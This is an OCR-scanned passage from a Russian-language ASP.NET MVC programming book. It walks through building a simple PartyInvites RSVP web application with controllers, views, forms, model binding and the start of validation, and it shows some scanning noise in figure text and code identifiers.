Благодаря этой главе, вы смогли оценить, с какой невероятной скоростью эволюционировала веб-разработка — от “доисторического болота" CGI до новейших высокопроизводительных, совместимых с гибкой методологией платформ. Вы ознакомились с сильными и слабыми сторонами, а также ограничениями ASP.NET WebForms — главной платформой веб-разработки Microsoft с 2002 г., а также изменениями в растущей индустрии веб-разработки, которые вынудили Microsoft отреагировать выпуском чего-то нового.
Глава 1. Основная идея 31
Было показано, каким образом в новой платформе ASP. NETT MVC учитывались критические замечания, адресованные ASP.NET WebForms, и описаны ее преимущества для разработчиков, которые желают понять HTTP и писать высококачественный, сопровождаемый код. Также было подчеркнуто, что эта платформа позволяет получать более быстрые приложения, работающие на широком диапазоне устройств.
В следующей главе на примерах кода будут представлены простые механизмы, которые порождают все эти преимущества. К прочтению главы 4 вы будете готовы к созданию реалистичного приложения электронного магазина, построенного на основе четкой архитектуры, правильного разделения сущностей, автоматизированного тестирования и изящного лаконичного кода разметки.
ГЛАВА 2
Первое приложение
ASP.NET MVC
Лучший способ освоения платформы разработки программного обеспечения состоит в том, чтобы просто начать ее использовать. В этой главе будет создано простое приложение ввода данных с применением ASP.NET MVC.
На заметку! В этой главе скорость продвижения преднамеренно снижена. Например, будут даваться пошаговые инструкции по выполнению мелких задач вроде добавления нового файла к проекту. Но уже в последующих главах предполагается наличие знаний языка C# и среды Visual Studio.
Подготовка рабочей станции
Перед тем как приступать к написанию кода ASP.NET MVC, на рабочей станции должны быть установлены соответствующие инструменты разработки. Разработка ASP.NET MVC требует наличия следующих компонентов:
•	операционная система Windows ХР, Vista, Server 2003, Server 2008 или Windows 7;
•	коммерческая среда Visual Studio 2008 с SP1 (любой версии) или бесплатная среда Visual Web Development 2008 Express c SP1. Версия Visual Studio 2005 не поддерживает разработку приложений ASP.NET MVC.
Если среда Visual Studio 2008 с SP1 или Visual Web Development 2008 Express c SP1 уже установлена, можно загрузить автономную программу установки ASP.NET MVC, обратившись по адресу www.asp.net/mvc/.
Если же нет ни Visual Studio 2008, ни Visual Web Development 2008 Express, то легче всего начать с загрузки и запуска Microsoft Web Platform Installer, который доступен бесплатно на сайте www.asp.net/web/. Этот инструмент автоматизирует процесс загрузки и установки последней версии любой комбинации Visual Developer Express, ASP.NET MVC, SQL Server Express, IIS и других полезных инструментов разработки. Он очень прост в использовании — просто выберите установку и ASP.NET MVC, и Visual Web Development 2008 Express1. *
Если применяется Web Platform Installer 1.0, сначала понадобится установить Visual Web Developer 2008 Express, а уже потом использовать его для установки ASP.NET MVC. Установить то и другое в одном сеансе не получится. В версии Web Platform Installer 2.0 упомянутая проблема решена.
Глава 2. Первое приложение ASP.NET MVC 33
На заметку! Хотя приложения ASP.NET MVC можно разрабатывать в бесплатной среде Visual Web Developer 2008 Express, большинство профессиональных разработчиков будут вместо нее пользоваться Visual Studio, поскольку это более совершенный коммерческий продукт. Почти везде в этой книге предполагается применение Visual Studio, а редкие случаи использования Visual Web Developer 2008 Express будут специально отмечаться.
Получение и сборка исходного кода платформы
Технического требования об обязательном наличии исходного кода платформы не предусмотрено, однако многие разработчики ASP.NET MVC предпочитают иметь его под рукой. Если хотите, можете получить исходный код MVC по адресу www.codplex.com/aspnet.
После распаковки ZIP-архива с исходным кодом в какой-нибудь каталог на рабочей станции можно открыть в Visual Studio файл решения MvcDev.sln. Сборка должна пройти без каких-либо ошибок компиляции, а если у вас установлена версия Visual Studio 2008 Professional, не помешает дополнительно выбрать пункт меню Test'TRun'TAII Tests in Solution (ТестЧПусковое тесты в решении) и прогнать более 1 500 модульных тестов на самом ASP.NET MVC.
Создание нового проекта ASP.NET МУС
После установки ASP.NET' MVC Framework вы обнаружите, что в Visual Studio 2008 появился новый тип проекта ASP.NET MVC Web Application (Веб-приложение ASP.NET MVC). Чтобы создать новый проект ASP.NET MVC, откройте Visual Studio и выберите пункт меню File4>New4>Project (Файл^СоздатьЧПроект). Убедитесь, что селектор платформы (справа вверху) показывает .NET Framework 3.5, и выберите в списке Templates (Шаблоны) вариант ASP.NET MVC Web Application, как показано на рис. 2.1.
Рис. 2.1. Создание нового веб-приложения ASP.NET MVC
Вообще-то назвать проект можно как угодно, но поскольку это демонстрационное приложение должно обрабатывать ответы на приглашения (RSVP — repondez s’il vous plait) на вечеринку, подходящим именем будет Partyinvites.
34 Часть I. Введение в ASP.NET MVC
После щелчка на кнопке ОК первым, что вы увидите, будет всплывающее окно с предложением создать проект модульных тестов (рис. 2.2).
Create UotTest Project
! Would you like to create а unit test project for this application?
; Gf Yes, create s unh test project
; Test project narre:
i
	PartvbivhesTests
;	'esc frars e«-©ric
;	: Visual Studio Unit Test	- AMfionalWfi
I
i Nc sc no* create a urtn test project
CK	Cancel
Рис. 2.2. Visual Studio предлагает создать проект модульных тестов
С целью упрощения писать тесты для этого приложения не планируется (в главе 3 вы узнаете, что такое модульные тесты, а в главе 4 научитесь их использовать). Поэтому выберите переключатель No, do not create a unit test project (Нет, не создавать проект модульных тестов) (для данного примера можно также оставить выбранным переключатель Yes, create a unit test project (Да, создать проект модульных тестов) — разницы не будет). Щелкните на кнопке ОК.
Visual Studio создаст стандартную структуру проекта. Поскольку автоматически добавляется контроллер и представление по умолчанию, можно нажать <F5> (или выбрать пункт меню Debug^Start Debugging (Отладка^Запустить отладку)) и немедленно увидеть нечто работающее. Поэкспериментируйте с этим (если отобразится окно с предложением включить отладку, просто щелкните в нем на кнопке ОК). В браузере (Internet Explorer) должен получиться экран, показанный на рис. 2.3.
Рис. 2.3. Новоиспеченное стандартное веб-приложение ASP.NET MVC
Глава 2. Первое приложение ASP.NET MVC 35
По завершении не забудьте остановить отладку, закрыв окно Internet Explorer либо вернувшись в Visual Studio и нажав <Shift+F5>.
Удаление ненужных файлов
К сожалению, в стараниях быть полезной среда Visual Studio иногда заходит слишком далеко. Она уже создала для вас скелет мини-приложения, включая регистрацию пользователя и аутентификацию. Это затрудняет реальное понимание того, что происходит, поэтому давайте удалим это все и вернемся к чистому листу. С помощью Solution Explorer удалите все файлы и папки, отмеченные на рис. 2.4 (щелкая на них правой кнопкой мыши и выбирая в контекстном меню пункт Delete (Удалить)).
Solution Explorer - Solution ‘Psrtylmte'.,. V Л х
i J Л %
 Solution 'Partyinvites1 (1 project)
! & '-Я Partylnvites
if, Properties
--y References
О Content
Controllers
 «?'	.........u
HomeControRer.cs
C3 Models . J Scripts О Viavs » jj—------------------------
Ei- Home
Global.asax
И Web.config
Web.config
~1 Defaultaspx
Рис. 2.4. Очистка стандартного шаблона проекта с целью возврата к осмысленной начальной точке
Удалить
Последнее, что понадобится привести в порядок—это содержимое HomeController.cs.
Удалите находящийся в нем код и поместите следующий код класса Homecontroller:
public class Homecontroller : Controller {
public string Index() {
return "Hello, world!";
}
He особенно впечатляет — просто нам надо вернуться к некоторой начальной базе. Попробуйте теперь запустить проект (нажав <F5>). В браузере отобразится сообщение ‘Hello, world!” (рис. 2.5).
36 Часть I. Введение в ASP.NET MVC
Основы функционирования
В архитектуре “модель-представление-контроллер” (model-view-controller — MVC) контроллеры отвечают за обработку входящих запросов. В ASP.NET MVC контроллеры — это простые классы С#2 (обычно унаследованные от System.Web.Mvc.Controller — встроенного базового класса контроллера). Каждый общедоступный метод контроллера называется методом действия (action method), который можно вызывать через некоторый URL. В данный момент имеется класс контроллера по имени Homecontroller и метод действия по имени Index.
Существует также система маршрутизации (routing system), которая решает, каким образом URL-адреса отображаются на контроллеры и действия. При стандартной конфигурации маршрутизации можно запрашивать любой из следующих URL, и все они будут обрабатываться действием Index класса Homecontroller:
• /
• /Ноте
• /Home/Index
Поэтому, когда браузер запрашивает ЬЬ1р://вашСайт/ или http://BauiCahT/Home, он получает вывод метода Index класса Homecontroller. Пока что этим выводом является строка “Hello, world!”.
Визуализация веб-страниц
Если вы добрались до этого места, значит, установленная среда работает нормально, к тому же вы только что создали минимальный, однако работающий контроллер. Следующим шагом будет генерация некоторого HTML-вывода.
Создание и визуализация представления
Контроллер Homecontroller в нынешнем состоянии посылает в браузер простую строку текста. Этого достаточно для отладки, но в реальном приложении, скорее всего, понадобится генерировать некоторый HTML-документ. Это делается с использованием шаблона представления (view template), или просто представления (view).
Чтобы визуализировать представление из метода Index(), сначала перепишите его следующим образом:
public class Homecontroller : Controller
{
public ViewResult Index()
{
return View();
}
}
2 На самом деле строить приложения ASP.NET MVC можно с использованием любого языка NET (вроде Visual Basic, IronPython или IronRuby). Но поскольку в центре внимания книги находится С#, с этого момента вместо “все языки .NET” будет указываться “С#”.
Глава 2. Первое приложение ASP.NET MVC 37
Возвращая объект типа ViewResult, вы даете каркасу MVC команду визуализировать представление. Поскольку объект ViewResult генерируется вызовом View() без параметров, каркас визуализирует представление по умолчанию заданного действия. Однако если вы попытаетесь запустить приложение в таком виде, то получите сообщение об ошибке, показанное на рис. 2.6.
'	Т-е vie»- Т’.ае#’ cr hs г- зле1, ccufc rot betcund. The foaoe-ng teoSa-'s .vere s... -	. . s ।
http;sVtocsfhcsfc52s43/	▼ - г: X j
i Server Error in '/' Application.	.,!
I The view 'Index' or its master could not be found.
I The following locations were searched:
I ~/Views/Home/Index.aspx
i \ ~/Views/Home/Index.ascx
• ~/Views/Shared/Index.aspx
; ~/Views/Shared/Index.ascx
j Description: A5 unbarfies ехсесйэг secured supr.a theexec&ten sfSse сингл* «ее reeuest	•
Рис. 2.6. Сообщение об ошибке, которое отображается, когда ASP.NET MVC не может найти шаблон представления
Это сообщение более полезно, чем среднестатистическое сообщение об ошибке — платформа не только сообщает о том, что не может найти подходящего представления для визуализации, но также указывает, где она его искала. Это первый кусочек принципа “соглашения вместо конфигурации”: шаблоны представлений обычно ассоциируются с методами действий посредством соглашения об именовании, а не с помощью явного конфигурирования. Когда каркас ищет представление по умолчанию для действия под названием Index в контроллере по имени Homecontroller, он проверяет четыре места, показанные на рис. 2.6.
Чтобы добавить представление к действию Index — и избавиться от ошибок, — выполните щелчок правой кнопкой мыши на методе действия (либо на имени метода Index(), либо где-нибудь внутри его тела) и затем выберите в контекстном меню пункт Add View (Добавить представление). Это приведет к появлению всплывающего окна, показанного на рис. 2.7.
Рис. 2.7. Добавление шаблона представления для действия Index
38 Часть I. Введение в ASP.NET MVC
Снимите отметку с флажка Select master page (Выбрать мастер-страницу) (поскольку в этом примере мастер-страницы не используются) и затем щелкните на кнопке Add (Добавить). Это создаст совершенно новый шаблон представления в корректном месте по умолчанию для вашего метода действия: ~/Views/Home/Index.aspx.
После появления окна редактора HTML-разметки Visual Studio3 вы увидите нечто знакомое: шаблон HTML-страницы, заполненный обычной коллекцией элементов — <html>, <body> и т.д. Давайте перенесем приветствие Hello, world! в представление. Замените раздел <body> шаблона HTML следующим:
<body>
Hello, world (from the view)!
</body>
Нажмите <F5>, чтобы снова запустить приложение, и вы увидите шаблон представления в действии (рис. 2.8).
Рис. 2.8. Вывод представления
Ранее метод действия Index () просто возвращал строку, поэтому каркасу MVC не оставалось ничего кроме как послать эту строку в качестве HTTP-ответа. Однако теперь возвращается объект типа ViewResult, который заставляет каркас MVC визуализировать представление. Поскольку имя представления не указывалось, было выбрано имя, принятое по соглашению для данного метода действия (т.е. ~/Views/Home/Index.aspx).
Помимо ViewResult, есть и другие типы объектов, которые можно возвращать из действия и которые заставляют каркас делать разные вещи. Например, RedirectResult выполняет перенаправление, a HttpUnauthorizedResult заставляет посетителя зарегистрироваться. Такие вещи называются результатами действий, и все они наследуются от базового класса ActionResult. Чуть позже вы узнаете больше о каждом из них. Эти результаты действий позволяют инкапсулировать и повторно использовать общие типы ответов, значительно упрощая модульное тестирование.
Добавление динамического вывода
Основным смыслом платформы разработки веб-приложений является способность конструировать и отображать динамический вывод. В контексте ASP.NET MVC работа контроллера заключается в конструировании некоторых данных, а работа представления — в их визуализации в виде HTML. Это разделение понятий сохраняет аккуратность приложения. Данные передаются от контроллера представлению с использованием структуры данных под названием ViewData.
В качестве простого примера измените метод действия Index() в Homecontroller, чтобы он добавлял строку к ViewData:
3 Если вместо этого отобразится WYSIWIG-дизайнер Visual Studio, переключитесь на представление Source (Исходный код), щелкнув на вкладке Source внизу экрана или нажав <Shift+F7>.
Глава 2. Первое приложение ASP.NET MVC 39
public ViewResult Index() {
int hour = DateTime.Now.Hour;
ViewData["greeting"] = (hour < 12 ? "Good morning" : "Good afternoon"); return View();
}
Далее обновите шаблон представления для ее отображения:
<body>
<%= ViewData["greeting"] %>, world (from the view) !
</body>
На заметку! Здесь используется встроенный (inline) код (блок <%=...%>). В мире ASP.NET WebForms часто такая практика не поощряется, однако в мире ASP.NET MVC она вполне нормальна. Отбросьте любые предубеждения, которые у вас могут быть — далее в этой книге вы найдете исчерпывающее объяснение, почему для шаблонов представлений MVC встроенный код работает очень хорошо.
Не удивительно, что после запуска приложения (по нажатию <F5>) динамически выбранное приветствие появится в браузере (рис. 2.9).
Рис. 2.9. Динамически генерируемый вывод
Стартовое приложение
В оставшейся части главы вы узнаете немного больше о базовых принципах ASP.NET MVC, построив простое приложение ввода данных. Нашей целью будет просто посмотреть на платформу в действии, поэтому мы создадим приложение, не отвлекаясь на объяснение работы каждого его фрагмента.
Не беспокойтесь, если некоторые части покажутся незнакомыми. Ключевые архитектурные принципы MVC будут описаны в главе 3, а в последующих главах представ-тены детальные объяснения и демонстрации практически всех средств ASP.NET MVC.
История
Ваша подружка организует новогоднюю вечеринку. Она попросила вас создать вебсайт, который позволит приглашенным персонам ответить на приглашения (прислать электронные RSVP). Это приложение, которое мы назовем Partyinvites, должно обладать перечисленными ниже характеристиками.
1.	Иметь домашнюю страницу с информацией о вечеринке.
2.	Включать форму ответа RSVP, в которую приглашенные лица смогут вносить свою контактную информацию и сообщать, могут ли они принять приглашение.
3.	Проверять отправленные данные формы, отображая страницу с благодарностью в случае успеха.
4.	Отправлять по электронной почте детали заполненных RSVP организатору вечеринки.
40 Часть I. Введение в ASP.NET MVC
Вряд ли на этом приложении можно будет заработать миллион и уйти на покой, однако оно представляет собой хороший старт. Первый пункт из приведенного выше списка можно реализовать немедленно: просто добавьте некоторый HTML-код в представление Index.азрх:
<body>
<hl>New Year's Party</hl>
<P>
<%= ViewData["greeting"] %>! We're going to have an exciting party.
(To do: sell it better. Add pictures or something.)
</p>
</body>
Связывание действий
Нам понадобится форма для отправки ответа на приглашение — RSVPForm, поэтому нужно поместить ссылку на нее. Обновите Index.азрх следующим образом:
<body>
<hl>New Year's Party</hl>
<P>
<%= ViewData["greeting"] %>! We're going to have an exciting party.
(To do: sell it better. Add pictures or something.)
</p>
<%= Html.ActionLink("RSVP Now", "RSVPForm") %>
</body>
На заметку! Html.ActionLink — это вспомогательный метод HTML. В состав каркаса входит коллекция полезных вспомогательных методов HTML, которые предоставляют удобные сокращения для визуализации не только ссылок HTML, но также текстовых полей ввода, флажков, списков выбора и т.п., и даже специальных элементов управления. После ввода <%= Html. средство IntelliSense в Visual Studio отобразит список доступных вспомогательных методов HTML, из которого можно выбрать нужный. Все они объясняются в главе 10, хотя назначение большинства вполне очевидно.
Запустите приложение снова, и вы увидите новую ссылку, как показано на рис. 2.10.
|	Internet Explorer
:	http:/Xloca№o5b529£3y	X ‘
 New Year’s Partv
; » *' '
; Good afternoon! We're going to bs- an exciting part.'. (To do. sed ft better. Add
: pictures or something.)
Рис. 2.10. Представление co ссылкой
Щелчок на ссылке RSVP Now (Ответить сейчас) приводит к получению ошибки “404 Not Found” (страница не найдена). Заглянув в адресную строку браузера, вы прочтете там: http://cep.Bep/Home/RSVPForm. Дело в том, что метод Html.ActionLink проинспектировал конфигурацию маршрутизации и обнаружил, что под текущей конфигу
Глава 2. Первое приложение ASP.NET MVC 41
рацией по умолчанию элемент /Home/RSVPForm — это URL для действия под названием RSVPForm на контроллере по имени Homecontroller. В отличие от традиционных ASP.NET WebForms, PHP и многих других платформ веб-разработки, URL в ASP.NET MVC не соответствуют файлам на жестком диске сервера, а вместо этого отображаются через конфигурацию маршрутизации на контроллер и метод действия. Каждый метод действия автоматически получает свой собственный URL; нет необходимости создавать для каждого URL отдельную страницу или класс.
Конечно, причина ошибки “404 Not Found” состоит в том, что метод действия по имени RSVPFormO пока не определен. Добавьте в класс Homecontroller новый метод:
public ViewResult RSVPFormO {
return View () ;
}
И снова необходимо добавить новое представление, поэтому щелкните правой кнопкой мыши внутри этого метода и выберите в контекстном меню пункт Add View. Снимите отметку с флажка Select master page и щелкните на кнопке Add; для этого действия будет создано новое представление в месте по умолчанию---/Views/Home/
RSVPForm.aspx. Пока можно оставить его в том виде, как есть, но имейте в виду, что если сейчас вы запустите приложение и щелкнете на ссылке RSVP Now, в браузере появится пустая страница.
Совет. Существует способ быстрого переключения от метода действия к его представлению по умолчанию и обратно. Вот что для этого нужно. В редакторе Visual Studio установите каретку внутри любого из методов действий, выполните щелчок правой кнопкой мыши и выберите в контекстном меню пункт Go То View (Перейти к представлению); можно также нажать комбинацию <Ctrl+M> и затем <Ctrl+G>. Произойдет немедленный переход непосредственно к представлению действия по умолчанию. Чтобы перейти от представления к ассоциированному с ним действию, выполните щелчок правой кнопкой мыши в любом месте разметки представления и выберите в контекстном меню пункт Go То Controller (Перейти к контроллеру) или снова нажмите <Ctrl+M> и затем <Ctrl+G>. Этот способ избавляет от блуждания по множеству открытых вкладок.
Проектирование модели данных
Вы можете двинуться дальше и заполнить RSVPForm. aspx элементами управления HTML-форм, но прежде чем делать это, давайте остановимся и подумаем о разрабатываемом приложении.
В аббревиатуре MVC буква М означает модель, которая является самым важным персонажем в истории. Модель — это программное представление объектов реального мира, процессов и правил, которые составляют суть, или предметную область приложения. Это центральное хранилище данных и логики (т.е. бизнес-процессов и правил). Все остальное (контроллеры и представления) — это просто механизмы, необходимые для представления операций и данных модели в Веб. Хорошо продуманное приложение MVC — это не просто случайная коллекция контроллеров и представлений; в нем всегда присутствует модель — узнаваемый программный компонент со своими собственными правилами. В следующей главе архитектура MVC рассматривается более подробно, а также сравнивается с другими похожими архитектурами.
В приложении Partyinvites нет особой необходимости в модели предметной области, но здесь есть один очевидный тип модели, который мы назовем GuestResponse. Этот объект будет отвечать за сохранение, проверку и в конечном итоге подтверждение RSVP приглашенного лица.
42 Часть I. Введение в ASP.NET MVC
Добавление класса модели
Воспользуйтесь Solution Explorer для добавления нового пустого класса C# по имени GuestResponse в папку /Models, после чего добавьте к нему некоторые свойства:
public class GuestResponse {
public string Name { get; set; } public string Email { get; set; } public string Phone { get; set; } public bool? WillAttend { get; set; }
В этом классе используются автоматические свойства C# 3.0 (т.е. { get; set; }). Не беспокойтесь, если вы еще не знакомы с версией C# 3.0 — новый синтаксис будет кратко описан в конце следующей главы. Также обратите внимание, что WillAttend имеет тип bool, допускающий значения null (на зто указывает вопросительный знак). Это позволит создавать величины, принимающие три значения — True, False и null, причем последнее означает, что гость пока не указал, принимает ли он приглашение.
Построение формы
Теперь наступил момент поработать с представлением RSVPForms.aspx, превратив его в форму для редактирования экземпляров GuestResponse.
Вернитесь к RSVPForms. aspx и воспользуйтесь встроенными вспомогательными методами ASP.NET MVC для конструирования HTML-формы:
<body>
<hl>RSVP</hl>
<% using (Html.BeginFormO ) { %>
<p>Your name: <%= Html.TextBox{"Name") %></p>
<p>Your email: <%= Html.TextBox("Email")%></p>
<p>Your phone: <%= Html.TextBox("Phone")%></p>
<p>
Will you attend?
<%= Html.DropDownList("WillAttend", new[] {
new SelectListltem { Text = "Yes, I'll be there".
Value = bool. TrueString },
new SelectListltem { Text = "No, I can't come",
Value = bool.FalseString }
}, "Choose an option") %>
</p>
<input type="submit" value="Submit RSVP" />
<Q. 1 Q.’s О J O'
</body>
Для каждого элемента формы задается параметр name, указывающий имя связанного HTML-дескриптора (например, Email). Эти имена в точности соответствуют именам свойств GuestResponse. так как по существующему соглашению ASP.NET MVC ассоциирует каждый элемент формы с соответ ствующим свойством модели.
Обратите внимание на вспомогательный синтаксис <% using (Html. BeginForm (...)) { ... } %>. Это изобретательное применение синтаксиса C# using визуализирует открывающий HTML-дескриптор <form> при первом появлении и закрывающий дескриптор </form> в конце блока using. В Html.BeginFormO можно передавать параметры, сообщающие, какой метод действия должен получить данные формы при ее отправке. В примере параметры не передаются, поэтому данные формы передаются по тому же
Глава 2. Первое приложение ASP.NET MVC 43
самому URL, по которому она была вызвана. В результате этот вспомогательный метод продуцирует следующую HTML-разметку:
<form action="/Home/RSVPForm" method="post" > ... содержимое формы ...
</form>
На заметку! “Традиционная” платформа ASP.NET WebForms требует помещения всей страницы строго в одну форму серверной стороны (<form runat="server">), которая представляет собой контейнер WebForms для данных ViewState и логики обратной отправки. Но платформа ASP.NET MVC формы серверной стороны не использует. Она работает с простыми HTML-формами, которые определяются дескрипторами <form>, обычно, но не обязательно генерируемыми вызовом Html.BeginForm().B одном представлении можно иметь произвольное количество таких форм. HTML-разметка этих форм совершенно чиста — отсутствуют какие-либо скрытые поля (вроде___viewstate), дополнительные блоки JavaScript-кода, а также ис-
кажение идентификаторов элементов.
Давайте посмотрим, как выглядит новая форма. Перезапустите приложение и щелкните на ссылке RSVP Now. На рис. 2.11 можно видеть построенную форму во всей ее красе4.
Рис. 2.11. Вывод представления RSVPForm.aspx
Куда подевались введенные данные?
Если вы заполните форму и щелкнете на кнопке Submit RSVP (Отправить ответ), произойдут странные вещи. Та же форма немедленно появится снова, но все поля ввода будут пустыми. Что произошло? Поскольку эта форма отправляется на /Home/RSVPForm, метод действия RSVPFormO запускается заново и визуализирует то же самое представление. Поля ввода оказываются пустыми, потому что все введенные ранее значения отбрасываются, так как вы ничего не сделали для того, чтобы принять или обработать их.
4 Поскольку зта книга посвящена отнюдь не стилям CSS или веб-дизайну, в большинстве примеров мы будем придерживаться "образца 1996 года’’. Благодаря тому, что ASRNET MVC генерирует простую чистую HTML-разметку, предоставляя полный контроль над идентификаторами и компоновкой элементов, вы можете без проблем воспользоваться любым готовым шаблоном веб-дизайна или библиотекой эффектов JavaScript .
44 Часть I. Введение в ASP.NET MVC
На заметку! Формы в ASP.NET MVC ведут себя не так, как формы в ASP.NET WebForms! В ASP.NET MVC намеренно не предусмотрена концепция “обратной отправки” (postback), поэтому при многократной визуализации одной и той же формы подряд нельзя рассчитывать на то, что поле ввода сохранит свое содержимое. Текстовое поле в новом запросе даже не должно трактоваться, как то же самое поле, что было в предыдущем запросе: поскольку протокол HTTP не поддерживает состояние, элементы управления вводом, визуализируемые при каждом запросе, полностью перерождаются и совершенно независимы от своих предшественников. Тем не менее, добиться эффекта сохранения значений в элементах ввода несложно, и зто будет описано ниже.
Обработка отправки формы
Чтобы получить и обработать отправленные данные формы, мы сделаем одну умную вещь. Разделим действие RSVPForm “пополам”, создав два следующих метода.
•	Один метод, реагирующий на HTTP-запросы GET. Обратите внимание, что запрос GET — это то, что браузер обычно издает, когда пользователь щелкает на ссылке. Эта версия действия будет отвечать за отображение начальной пустой формы, когда кто-либо впервые посещает /Home/RSVPForm.
•	Другой метод, отвечающий на HTTP-запросы POST. По умолчанию формы, визуализируемые с помощью Html.BeginFormO, отправляются браузером в виде запроса POST. Эта версия действия будет отвечать за получение отправленных данных и принятие решения, что с ними делать дальше.
Написание этих двух отдельных методов C# поможет сохранить код аккуратным, поскольку они имеют совершенно разную ответственность. Однако извне эта пара методов C# будет выглядеть как единое логическое действие, поскольку они получат одно и то же имя и будут вызываться через один и тот же URL.
Замените текущий единственный метод RSVPForm () следующим кодом:
[AcceptVerbs(HttpVerbs.Get)]
public ViewResult RSVPForm()
{
return View () ;
}
[AcceptVerbs(HttpVerbs.Post)]
public ViewResult RSVPForm(GuestResponse guestResponse)
{
/	/ Todo: Отправить по электронной почте guestResponse организатору вечеринки return View("Thanks", guestResponse);
}
Совет. Чтобы среда Visual Studio смогла распознать GuestResponse, потребуется импортировать пространство имен Partyinvites .Models. Самый простой способ — установить каретку в позицию не распознанного слова GuestResponse и нажать комбинацию <Ctrl+.>. В появившемся окне с запросом следует нажать <Enter>. Нужное пространство имен импортируется автоматически.
Назначение атрибута [AcceptVerbs] понять несложно. Когда он присутствует, он ограничивает тип HTTP-запроса, на который будет отвечать действие. Первая перегрузка RSVPForm () будет отвечать только на запросы GET, вторая — только на запросы POST.
Глава 2. Первое приложение ASP.NET MVC 45
Привязка модели
Первая перегрузка просто визуализирует то же представление по умолчанию, что и ранее. Вторая перегрузка более интересна, поскольку принимает в качестве параметра экземпляр GuestResponse. Учитывая, что метод вызывается через HTTP-запрос, и что GuestResponse является типом .NET, который совершенно неизвестен протоколу HTTP, возникает вопрос: как применить экземпляр GuestResponse к запросу HTTP? Ответом будет привязка модели (model binding) — исключительно полезное средство ASP.NET MVC. С его помощью осуществляется автоматический разбор входных данных, после чего, посредством сопоставления входящих пар “ключ/значение" с именами свойств заданного типа .NET результатами этого разбора заполняются параметры метода действия.
Этот мощный и настраиваемый механизм исключает большую часть запутанной логики, ассоциируемой с обработкой HTTP-запросов, позволяя работать в терминах строго типизированных объектов .NET вместо низкоуровневых манипуляций со словарями Request.Form[] и Request.QueryStringf], как это часто приходится делать в WebForms. Поскольку элементы управления вводом, определенные в RSVPForm. азрх, имеют имена, соответствующие именам свойств в GuestResponse, каркас передает методу действия экземпляр GuestResponse, заполненный данными, которые пользователь ввел в форму. Весьма удобно!
Строго типизированные представления
Вторая перегрузка RSVPForm () также демонстрирует, как визуализировать специфический шаблон представления, который не обязательно совпадает с именем действия, и как передать одиночный специфический объект модели, которую необходимо визуализировать. Вот строка, о которой идет речь:
return View("Thanks", guestResponse);
Эта строка заставляет ASP.NET MVC найти и визуализировать представление по имени Thanks, а также применить объект guestResponse к этому представлению. Поскольку все это происходит в контроллере по имени Homecontroller, ASP.NET MVC предполагает найти представление Thanks в ~/Views/Home/Thanks.aspx, но, конечно, не находит, так как этого файла еще нет. Давайте создадим его.
Создайте новое представление, щелкнув правой кнопкой мыши внутри любого метода действия в Homecontroller и выбрав в контекстном меню пункт Add View. На этот раз представление будет несколько отличаться: мы укажем, что оно в первую очередь предназначено для визуализации одного специфического типа объекта модели, а не как предьтдутпие представления, которые просто визуализировали произвольную коллекцию элементов из структуры ViewData. Тем самым мы создадим строго типизированное представление, и чуть ниже будет показано, в чем состоят его преимущества.
На рис. 2.12 можно видеть опции, которые должны быть установлены во всплывающем окне Add View (Добавить представление). Введите имя представления — Thanks, снимите отметску с флажка Select master page (Выбрать мастер-страницу) и на этот раз отметьте флажок Create a strongly typed view (Создать строго типизированное представление). В раскрывающемся списке View data class (Класс данных представления) выберите тип GuestResponse. В поле View content (Содержимое представления) оставьте значение Empty (Пусто). Наконец, щелкните на кнопке Add (Добавить).
46 Часть I. Введение в ASP.NET MVC
Рис. 2.12. Добавление строго типизированного представления для работы с определенным классом модели
И вновь Visual Studio автоматически создаст новый шаблон представления в месте, отвечающем соглашениям ASP.NET MVC (на этот раз им будет ~/views/Home/ Thanks.aspx). Это представление строго типизировано для работы с экземпляром GuestResponse, т.е. визуализируемым экземпляром. Введите следующую разметку:
<body>
<hl>Thank you, <%= Html.Encode(Model.Name) %>!</hl>
<% if(Model.WillAttend == true) { %>
It's great that you're coming. The drinks are already in the fridge!
<% } else { %>
Sorry to hear you can't make it, but thanks for letting us know.
o_ 1	& —
О J о /
</body>
Огромное преимущество использования строго типизированных представлений состоит в том, что вы не только точно знаете, какой тип данных визуализирует представление, но также получаете полную поддержку IntelliSense для этого типа (рис. 2.13).
Теперь можно запустить приложение, заполнить форму, отправить ее и увидеть осмысленный результат, как показано на рис. 2.14.
Sr.ccde (Model.Nasej
Рис. 2.13. Строго типизированные представления позволяют использовать IntelliSense для выбранного класса модели
Глава 2. Первое приложение ASP.NET MVC 47
teo7/-oca=^ost52§43/Ho?ne/RSV--sxni - Winder "rtemet Exc^oret
О
•у httpv'Л ecal hc-rt:52943<Hcme-'RSVPFcrm
Thank you, Steve!
т It’s grear that you re coming. The drinks are already in the fridge!
Рис. 2.14. Вывод представления Thanks.aspx
Совет. He забудьте защитить приложение от атак межсайтовыми сценариями, выполнив HTML-кодирование любого пользовательского ввода, который будет отправляться обратно. Например, Thanks.aspx содержит блок кода вида <%= Html.Encode (Model.Name) %>, а не просто <%= Model .Name %>. Более подробно о мерах безопасности речь пойдет в главе 13.
Добавление проверки достоверности
Вы могли заметить, что до сих пор никакая проверка достоверности не выполнялась. Вместо адреса электронной почты можно вводить любую бессмыслицу, можно даже отправлять совершенно пустую форму.
Наступило время прояснить это, но прежде чем приступить к рассмотрению элементов управления проверкой достоверности, напомним, что мы имеем дело с приложением MVC, а в соответствии с принципом “не повторяться”, проверка достоверности — это функция модели, а не пользовательского интерфейса. Проверка достоверности часто отражает бизнес-правила, которые лучше всего поддерживать, когда они выражены в одном и только одном месте, а не разбросаны по множеству классов контроллеров и файлов .aspx и . asex. Возлагая обязанность контроля достоверности на модель, вы также гарантируете, что целостность ее данных будет всегда защищена одинаково, независимо от того, какой к ней подключается контроллер или представление. Это решение более устойчиво, чем применение элементов управления <asp:XyzValidator> пользовательского интерфейса в стиле WebForms.
Существует множество способов реализации проверки достоверности в ASP.NET MVC. Прием, который демонстрируется ниже, является простейшим. Разумеется, он не столь аккуратный или мощный, как некоторые альтернативы, рассматриваемые далее в книге. Отредактируйте класс GuestResponse, добавив в него реализацию интерфейса IDataErrorlnfo. Исчерпывающее объяснение IDataErrorlnfo отложим на потом; пока достаточно того, что этот интерфейс просто предоставляет средства для возврата сообщений о возможных ошибках проверки достоверности для каждого свойства.
public class GuestResponse : IDataErrorlnfo {
public string Name { get; set; } public string Email { get; set; } public string Phone { get; set; } public bool? WillAttend { get; set; } public string Error { get { return null; } } // В данном примере не требуется public string this[string propName] {
get {
48 Часть I. Введение в ASP.NET MVC
if((propName == "Name") && string.IsNullOrEmpty(Name)) return "Please enter your name"; //не было введено имя
